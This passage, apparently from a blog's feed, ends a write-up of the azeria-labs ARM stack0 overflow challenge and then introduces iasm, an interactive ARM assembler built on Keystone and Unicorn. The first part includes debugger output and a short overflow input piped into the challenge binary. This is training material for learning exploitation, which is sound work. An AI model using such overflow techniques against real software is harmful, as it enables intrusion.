&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x10498&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;76&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0xe24bd004&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0xe8bd8800&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0x0001051c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0x00010548&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;почему?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“When using R15 as the base register you must remember it contains an address 8 bytes on from the address of the current instruction.” &lt;cite class="epigraph"&gt;Arm documentation&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So it is 0x10498 + 0x8:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x104a0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nf"&gt;x104a0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;main&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;84&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0x0001051c&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0x00010548&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0xe92d43f8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mh"&gt;0xe1a07000&lt;/span&gt;

&lt;span class="nf"&gt;pwndbg&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x0001051c&lt;/span&gt;
&lt;span class="nf"&gt;$21&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1051c&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;you have changed the &amp;#39;modified&amp;#39; variable&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="the-exploit"&gt;The exploit&lt;/h2&gt;
&lt;p&gt;Writing 0x40+1 bytes we will overflow the buffer overwriting the cookie in the stack but without corrupting the stack further.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pi@raspberrypi:~$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;./stack0
you&lt;span class="w"&gt; &lt;/span&gt;have&lt;span class="w"&gt; &lt;/span&gt;changed&lt;span class="w"&gt; &lt;/span&gt;the&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;modified&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;variable
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/01/14/Smashing-ARM-Stack-for-Fun-Part-I.html" rel="alternate" type="text/html" title="Smashing ARM Stack for Fun - Part I"/>
    <category term="reversing" label="reversing"/>
    <category term="exploiting" label="exploiting"/>
    <category term="ARM" label="ARM"/>
    <category term="qemu" label="qemu"/>
    <category term="iasm" label="iasm"/>
    <category term="azeria-labs" label="azeria-labs"/>
    <published>2021-01-14T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/01/09/Interactive-Assembler.html</id>
    <title>iasm: Interactive Assembler</title>
    <updated>2021-01-09T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;I crossed with a series of &lt;a href="https://github.com/azeria-labs/ARM-challenges"&gt;Arm challenges&lt;/a&gt; by causality and I decided to give it a shoot.&lt;/p&gt;
&lt;p&gt;But I have &lt;strong&gt;0&lt;/strong&gt; knowledge about Arm so the disassembly of the binaries were too strange for me.&lt;/p&gt;
&lt;p&gt;I stepped back to plan it better: my idea was to use GDB to debug small snippets of Arm code, learn about it before jumping into the challenges.&lt;/p&gt;
&lt;p&gt;I setup a &lt;a href="/articles/2020/12/15/Qemulating-Rasbian-ARM.html"&gt;QEMU virtual machine&lt;/a&gt; running Rasbian in an Arm CPU.&lt;/p&gt;
&lt;p&gt;With a GCC and GDB running there I started but the compile-load-debug cycle was too inflexible.&lt;/p&gt;
&lt;p&gt;I could not use it to &lt;em&gt;explore&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;If I wanted to see the effect of a particular instruction I needed to write it in assembly, compile it and debug it.&lt;/p&gt;
&lt;p&gt;And the time between the “what does X?” and the “X does this” was too large, reducing the &lt;em&gt;momentum&lt;/em&gt; that you have when you explore something new.&lt;/p&gt;
&lt;p&gt;Too tedious.&lt;/p&gt;
&lt;p&gt;So I decided to shorten the cycle writing an &lt;a href="https://github.com/bad-address/iasm"&gt;&lt;em&gt;interactive&lt;/em&gt; assembler&lt;/a&gt;.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="first-try-gdb-as-the-engine"&gt;First try: GDB as the engine&lt;/h2&gt;
&lt;p&gt;GDB can manipulate the memory of the debuggee process. In particular we could write binary code, jump to it and execute it. Perfect.&lt;/p&gt;
&lt;p&gt;But GDB doesn’t have a compiler for assembly.&lt;/p&gt;
&lt;p&gt;Or has it?&lt;/p&gt;
&lt;h3 id="keystone-engine"&gt;Keystone engine&lt;/h3&gt;
&lt;p&gt;No, but one can be implemented easily with &lt;a href="https://www.keystone-engine.org/"&gt;keystone-engine&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Keystone takes assembly code and compiles it. Having Python bindings we could put this into a GDB plugin and &lt;em&gt;presto!&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="second-try-unicorn-engine"&gt;Second try: Unicorn engine&lt;/h2&gt;
&lt;p&gt;GDB requires a full operative system (Rasbian) running in a full emulated QEMU machine.&lt;/p&gt;
&lt;p&gt;Can we make it lighter? – Yes we can.&lt;/p&gt;
&lt;h3 id="unicorn-engine"&gt;Unicorn engine&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.unicorn-engine.org/"&gt;unicorn-engine&lt;/a&gt; it is a CPU emulator based on QEMU.&lt;/p&gt;
&lt;p&gt;The trick is that Unicorn only emulates the CPU and memory and nothing else: no devices, disks or network cards.&lt;/p&gt;
&lt;p&gt;Without anything to manage, Unicorn does not need an operative system making it a solution much lighter.&lt;/p&gt;
&lt;p&gt;And better, the Python bindings for Unicorn gives us access to the CPU registers and memory so we can get rid of GDB.&lt;/p&gt;
&lt;h2 id="iasm-keystone-unicorn-python"&gt;iasm: keystone + unicorn + python&lt;/h2&gt;
&lt;p&gt;I soon realized that while learning Arm by writing code is the best way to do it, writing &lt;em&gt;everything&lt;/em&gt; in assembly is hard.&lt;/p&gt;
&lt;p&gt;Simple tasks like initialize the registers or print a chunk of stack involves several instructions.&lt;/p&gt;
&lt;p&gt;In Python &lt;code&gt;r0 = 1111127999&lt;/code&gt;. In Arm:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;100:0&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;.Lval&lt;/span&gt;
&lt;span class="err"&gt;100:0&amp;gt;&lt;/span&gt;
&lt;span class="err"&gt;100:0&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;.Lval:&lt;/span&gt;
&lt;span class="err"&gt;100:0&amp;gt;&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nf"&gt;.word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1111127999&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, &lt;a href="https://github.com/bad-address/iasm"&gt;&lt;code&gt;iasm&lt;/code&gt;&lt;/a&gt; has an escape mode. Basically I call &lt;code&gt;eval&lt;/code&gt;/&lt;code&gt;exec&lt;/code&gt; emulating with Python variables like &lt;code&gt;r0&lt;/code&gt; and &lt;code&gt;M&lt;/code&gt; registers and memory.&lt;/p&gt;
&lt;p&gt;And that’s &lt;code&gt;iasm&lt;/code&gt; an keystone assembler connected with a unicorn emulator and some python code to glue them.&lt;/p&gt;
&lt;h2 id="features"&gt;Features&lt;/h2&gt;
&lt;h3 id="python-prompt-toolkit"&gt;Python Prompt Toolkit&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://python-prompt-toolkit.readthedocs.io/en/latest/"&gt;python-prompt-toolkit&lt;/a&gt; or PPT for short, is a library to build CLI applications.&lt;/p&gt;
&lt;p&gt;It has syntax highlighting as you write (using &lt;a href="https://pygments.org/"&gt;pygments&lt;/a&gt;), autocompletion and command line history.&lt;/p&gt;
&lt;p&gt;An enhanced replacement for Python’s &lt;code&gt;input&lt;/code&gt; for sure.&lt;/p&gt;
&lt;h3 id="memory"&gt;Memory&lt;/h3&gt;
&lt;p&gt;Unicorn has &lt;code&gt;mem_read&lt;/code&gt; and &lt;code&gt;mem_write&lt;/code&gt; to change the memory of the process but like any other process, the memory pages need to be mapped before with &lt;code&gt;mem_map&lt;/code&gt; and released with &lt;code&gt;mem_unmap&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;mu&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mem_map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;mu&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mem_write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;A&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mh"&gt;0x100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;mu&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mem_read&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1200&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;mu&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;mem_unmap&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x2000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;iasm&lt;/code&gt; has a more pythonic syntax accessible from the Python shell:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x2000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;  &lt;span class="c1"&gt;# map and initialize&lt;/span&gt;
&lt;span class="n"&gt;Mapping&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt; &lt;span class="n"&gt;region&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x1fff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1050&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x1055&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x41&lt;/span&gt;       &lt;span class="c1"&gt;# write like &amp;#39;memset&amp;#39;&lt;/span&gt;
&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1055&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x105a&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;B&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;   &lt;span class="c1"&gt;# write like &amp;#39;memcpy&amp;#39;&lt;/span&gt;

&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1050&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x105a&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;     &lt;span class="c1"&gt;# read&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;AAAAABBBBB&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;    &lt;span class="c1"&gt;# list mapped pages&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x1fff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1000000&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x11fffff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="mh"&gt;0x200000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="k"&gt;del&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x2000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;    &lt;span class="c1"&gt;# unmap&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="allocate-stack"&gt;Allocate stack&lt;/h3&gt;
&lt;p&gt;To allocate the stack and setup the (Arm) registers just run:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x2000&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="n"&gt;Mapping&lt;/span&gt; &lt;span class="n"&gt;memory&lt;/span&gt; &lt;span class="n"&gt;region&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mh"&gt;0x1fff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sz&lt;/span&gt; &lt;span class="mh"&gt;0x1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x2000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, play with it and practice your (Arm) assembly:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;100:0&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;
&lt;span class="err"&gt;100:0&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#8&lt;/span&gt;
&lt;span class="err"&gt;100:0&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;push&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And check the stack (was &lt;code&gt;r0&lt;/code&gt; pushed before &lt;code&gt;r1&lt;/code&gt; or not? Check it!)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="err"&gt;!&lt;/span&gt; &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;:]&lt;/span&gt;   &lt;span class="c1"&gt;# from sp to the end of the mapped page&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;\&lt;span class="n"&gt;x04&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x08&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;\&lt;span class="n"&gt;x00&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="initialization-script"&gt;Initialization script&lt;/h3&gt;
&lt;p&gt;Write in a file all the initialization like the stack allocation and load it from the command line with &lt;code&gt;-i&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;! r0 = r1 = r2 = 8&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;init

$&lt;span class="w"&gt; &lt;/span&gt;iasm&lt;span class="w"&gt; &lt;/span&gt;-a&lt;span class="w"&gt; &lt;/span&gt;arm&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;arm&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;init
Mapping&lt;span class="w"&gt; &lt;/span&gt;memory&lt;span class="w"&gt; &lt;/span&gt;region&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;0x1000000-0x11fffff&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;sz&lt;span class="w"&gt; &lt;/span&gt;0x200000&lt;span class="o"&gt;)&lt;/span&gt;
------&lt;span class="w"&gt;  &lt;/span&gt;-&lt;span class="w"&gt;  &lt;/span&gt;------&lt;span class="w"&gt;  &lt;/span&gt;-&lt;span class="w"&gt;  &lt;/span&gt;------&lt;span class="w"&gt;  &lt;/span&gt;-&lt;span class="w"&gt;  &lt;/span&gt;------&lt;span class="w"&gt;  &lt;/span&gt;-----
&lt;span class="w"&gt;    &lt;/span&gt;r0&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;r1&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;r2&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;r3&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="inline-documentation"&gt;Inline documentation&lt;/h3&gt;
&lt;p&gt;Following the tradition of Python, &lt;code&gt;iasm&lt;/code&gt; includes documentation for the assembly instructions.&lt;/p&gt;
&lt;p&gt;After the mnemonic type &lt;code&gt;?&lt;/code&gt; and enter to show it:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;100:0&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mul&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;?&lt;/span&gt;
&lt;span class="err"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nf"&gt;...&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Basically what I did was to convert to text the manual of reference of the ISA (typically it is a PDF file) and then parse the text.&lt;/p&gt;
&lt;p&gt;I only focused in the documentation of the instructions, the rest is up to the user to search the complete story in the official documentation (only Arm for now)&lt;/p&gt;
&lt;h3 id="globs-registers"&gt;Globs registers&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;iasm&lt;/code&gt; allows to select which registers to show using &lt;em&gt;globs&lt;/em&gt;, Unix like pattern expressions defined by &lt;a href="https://docs.python.org/3/library/fnmatch.html"&gt;fnmatch&lt;/a&gt;.&lt;/p&gt;
